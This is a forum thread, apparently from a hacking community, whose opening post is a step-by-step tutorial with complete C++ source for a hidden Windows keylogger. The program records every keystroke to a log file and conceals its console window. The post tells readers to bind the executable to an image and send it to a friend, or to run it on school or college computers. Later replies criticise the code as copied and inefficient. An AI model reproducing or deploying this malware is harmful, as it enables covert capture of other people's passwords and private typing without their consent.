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Recycle Bin. - January 15, 2012, 4:34 am

How to create Keylogger using Visual C++

Requirements:

Dev C++. Download it from here: <http://www.bloodshed.net/>

Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.

Go to File->New->Source File.

you can see a blank works space will be there in window.

now copy the below keylogger code into the blank work space.

```
Code #include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,"LOG.txt");
        }
    }
    system ("PAUSE");
    return 0;
}

/* ***** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;
```

```

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

```

/* ***** */

```

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Compile the Code(Ctrl+F9)

```

Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.

you can see the log.txt file where you save the file.

bind the exe file with image or any files and send it to your friend.

(Or)

if you have physical access to your college/school system, then copy the exe file in that system and run it.

For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.

Credits

For making this nice TUT the credits goes to BreakTheSecurity. Visit them [here](#)

I just thought that i would share this nice tut with you guys.

If you want to see the original tut go [here](#)

Jare - January 15, 2012, 7:19 am

No offense, but I honestly wish people would stop reposting this exact code, I've literally seen it at least 50 times here, and around 20 times on OpenSC, aka HF #2.

If people really want to help, they should come up with their own code.

Dbof - January 15, 2012, 8:19 am

I have also seen this code ~200 times on here. Seems like everyone like to name his "Stealth" function the same way.

SpriteZ - January 15, 2012, 8:23 pm

Yes, I've also seen this code ~200 times on here. Seems like everyone like to claim it as their own code.

modmaster - January 15, 2012, 10:08 pm

quick question.. u mentioned binding it with an image. but is that really something you can do ? i know with RAT servers image binding wasnt something to really do. let me kno

d4rkj4y - January 16, 2012, 2:42 am

If it's so noob friendly then where are the comments and where are the explanations to part of the code, which you didn't write I may add :/

Uncomplicated - January 16, 2012, 2:44 am

Same old code is rotating again and again. This is a very inefficient way of logging keys.

the_bond - January 16, 2012, 6:25 am

cool contribution bro
was looking for this thanks

Modesty - January 16, 2012, 10:36 am

lol this is one big fat resource hoggers. Use sleep in the loop O_o